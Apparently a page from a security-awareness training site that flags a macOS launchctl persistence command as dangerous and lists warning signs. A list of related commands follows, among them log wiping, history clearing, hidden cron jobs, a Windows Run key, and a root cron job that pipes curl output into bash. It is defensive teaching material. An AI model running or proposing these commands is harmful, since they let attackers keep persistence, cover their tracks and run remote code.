Dangerous
launchctl load -w ~/Library/LaunchAgents/com.example.updater.plistmacos · bash · Expert
Registers a launch agent so it starts at every login, with -w marking it permanently enabled. Launch agents are a supported macOS feature, so the judgement rests entirely on whether you know what that plist runs.
Signals to notice
- Persistent login item
- -w makes the registration survive reboots
- Executes whatever the plist references
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert